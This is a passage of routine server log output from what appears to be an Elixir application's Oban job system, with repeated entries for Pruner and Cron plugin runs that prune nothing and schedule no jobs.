{"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:46.686 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.470 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:16.687 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:46.688 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.471 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:16.689 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:46.690 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.472 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:16.690 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:46.692 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.473 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:16.694 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:46.695 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.474 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:16.696 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:46.697 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.475 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:16.698 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:46.699 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.476 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:16.700 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:46.701 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.477 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:16.703 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:46.704 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.478 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:16.705 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:46.706 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.479 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:16.707 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:46.708 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.480 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:16.709 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:46.710 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.481 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:16.712 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:46.713 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.482 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:16.714 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:46.715 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.483 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:16.717 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:46.718 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.484 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:16.719 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:46.720 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.485 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:16.721 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:46.722 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.486 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:16.723 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:46.724 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.487 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:16.725 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:46.726 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.488 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:16.727 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:46.728 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.489 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:16.729 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:46.731 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.490 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:16.732 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:46.733 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.491 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:16.734 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:46.735 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.492 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:16.736 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:46.737 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.493 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:16.739 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:46.741 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.494 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:16.743 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:46.745 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.495 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:16.746 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:46.747 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.496 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:16.748 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:46.749 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.497 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:16.750 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:46.751 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.498 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:16.752 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:46.753 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.499 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:16.754 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:46.755 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.500 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:16.756 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:46.757 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.501 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:16.759 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:46.760 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.502 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:16.761 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:46.762 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.503 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:16.763 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:46.764 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.504 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:16.765 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:46.766 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.505 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:16.767 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:46.769 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.506 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:16.770 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:46.771 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.507 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:16.772 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:46.773 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.508 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:16.774 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:46.775 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.509 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:16.776 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:46.777 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.510 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:16.778 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:46.779 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.511 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:16.780 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:46.781 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.512 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:16.782 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:46.783 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.513 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:16.785 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:46.787 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.514 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:16.788 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:46.789 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.515 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:16.790 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:46.791 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.516 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:16.792 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:46.793 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.517 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:16.795 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:46.796 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.518 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:16.797 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:46.798 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.519 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:16.799 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:46.800 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.520 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:16.801 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:46.802 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.521 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:16.803 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:46.804 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.522 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:16.805 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:46.806 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.523 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:16.807 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:46.808 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.524 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:16.809 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:46.810 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.525 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:16.811 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:46.812 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.526 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:16.813 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:46.814 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.527 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:16.816 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:46.817 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.528 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:16.818 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:46.819 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.530 [info] {"source":"oban","duration":360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:16.820 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:46.822 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.530 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:16.823 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:46.824 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.531 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:16.825 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:46.826 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.532 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:16.827 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:46.828 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.533 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:16.829 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:46.830 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.534 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:16.831 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:46.832 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.535 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:16.833 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:46.834 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.536 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:16.835 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:46.836 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.537 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:16.837 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:46.837 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.538 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:16.839 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:46.840 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.539 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:16.841 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:46.842 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.540 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:16.843 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:46.844 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.541 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:16.845 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:46.846 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.542 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:16.847 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:46.848 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.543 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:16.849 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:46.850 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.544 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:16.851 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:46.852 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.545 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:16.853 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:46.854 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.546 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:16.855 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:46.856 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.547 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:16.857 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:46.858 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.548 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:16.859 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:46.860 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.549 [info] 